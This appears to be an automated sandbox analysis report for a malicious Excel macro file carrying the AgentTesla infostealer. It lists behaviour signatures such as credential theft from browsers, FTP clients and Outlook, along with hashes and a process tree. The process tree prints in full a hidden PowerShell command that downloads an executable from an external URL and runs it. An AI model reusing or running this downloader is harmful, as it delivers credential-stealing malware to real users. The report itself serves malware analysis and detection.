Analysis

  • max time kernel
    131s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2023, 17:05

General

  • Target
    4b222ff63ba4a27646751b5dadfd3ed7.xlsm
  • Size 430KB
  • Sample230314-vmarssgf75
  • SHA256 37eb0640c85ef74c91b533f1fc7cc1ac9584d648330e105fb37b4231f885576c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b222ff63ba4a27646751b5dadfd3ed7.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://lostheaven.com.cn/wp-includes/BL-1600072563308pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe
        "C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1436

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        __PSScriptPolicyTest_jztgsv43.zwp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jztgsv43.zwp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        tmp84E4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe
        • Size 1.1MB
        • SHA256 5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292
        • MD5 SHA1 SHA512 SSDEEP

        tmp84E4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe
        • Size 1.1MB
        • SHA256 5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292
        • MD5 SHA1 SHA512 SSDEEP

        tmp84E4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe
        • Size 1.1MB
        • SHA256 5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292
        • MD5 SHA1 SHA512 SSDEEP

        memory/324-160-0x0000022B23D80000-0x0000022B23D90000-memory.dmp

        memory/324-159-0x0000022B23D80000-0x0000022B23D90000-memory.dmp

        memory/324-158-0x0000022B23D80000-0x0000022B23D90000-memory.dmp

        memory/324-153-0x0000022B3C080000-0x0000022B3C0A2000-memory.dmp

        memory/1436-186-0x0000000004E50000-0x0000000004E60000-memory.dmp

        memory/1436-189-0x0000000006470000-0x000000000647A000-memory.dmp

        memory/1436-194-0x0000000004E50000-0x0000000004E60000-memory.dmp

        memory/1436-191-0x00000000068D0000-0x0000000006A92000-memory.dmp

        memory/1436-190-0x00000000066B0000-0x0000000006700000-memory.dmp

        memory/1436-188-0x00000000064A0000-0x0000000006532000-memory.dmp

        memory/1436-187-0x0000000004E90000-0x0000000004EF6000-memory.dmp

        memory/1436-182-0x0000000005440000-0x00000000059E4000-memory.dmp

        memory/1436-180-0x0000000000400000-0x0000000000430000-memory.dmp

        memory/2024-178-0x0000000000DF0000-0x0000000000F0E000-memory.dmp

        memory/2732-133-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp

        memory/2732-134-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp

        memory/2732-135-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp

        memory/2732-139-0x00007FFA278C0000-0x00007FFA278D0000-memory.dmp

        memory/2732-136-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp

        memory/2732-137-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp

        memory/2732-138-0x00007FFA278C0000-0x00007FFA278D0000-memory.dmp